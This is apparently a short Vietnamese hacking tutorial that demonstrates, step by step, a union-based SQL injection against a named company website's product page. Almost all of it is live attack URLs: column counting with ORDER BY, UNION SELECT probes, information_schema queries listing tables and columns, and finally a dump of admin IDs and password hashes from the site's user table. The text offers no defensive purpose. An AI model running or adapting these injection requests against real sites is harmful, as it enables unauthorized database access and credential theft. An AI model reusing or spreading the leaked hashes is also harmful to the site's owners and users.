tut tb_user

vitim:http://thepcamnguyen.com.vn/?frame=product_detail&id=387
B1:http://thepcamnguyen.com.vn/?frame=product_detail&id=-387  Lỗi
B2:http://thepcamnguyen.com.vn/?frame=product_detail&id=-387 ORDER BY 15--
LỗI
B3:http://thepcamnguyen.com.vn/?frame=product_detail&id=-387 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
RA:3

      7
B4:http://thepcamnguyen.com.vn/?frame=product_detail&id=-387 UNION SELECT 1,2,3,4,5,6,unhex(hex(group_concat(table_name))),8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--

tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_order,tbl_order_detail,tbl_product,tbl_product_category,tbl_user,
B5:http://thepcamnguyen.com.vn/?frame=product_detail&id=-387 UNION SELECT 1,2,3,4,5,6,unhex(hex(group_concat(column_name))),8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572--
id,uid,pwd
B6:http://thepcamnguyen.com.vn/?frame=product_detail&id=-387 UNION SELECT 1,2,3,4,5,6,unhex(hex(group_concat(id,0x2f,pwd))),8,9,10,11,12,13,14,15 from tbl_user--


kết quả:1/290d8fb6c7d4baaf203498316ef038a7,2/d6a6bc0db10694a2d90e3a69648f3a03

Related Post: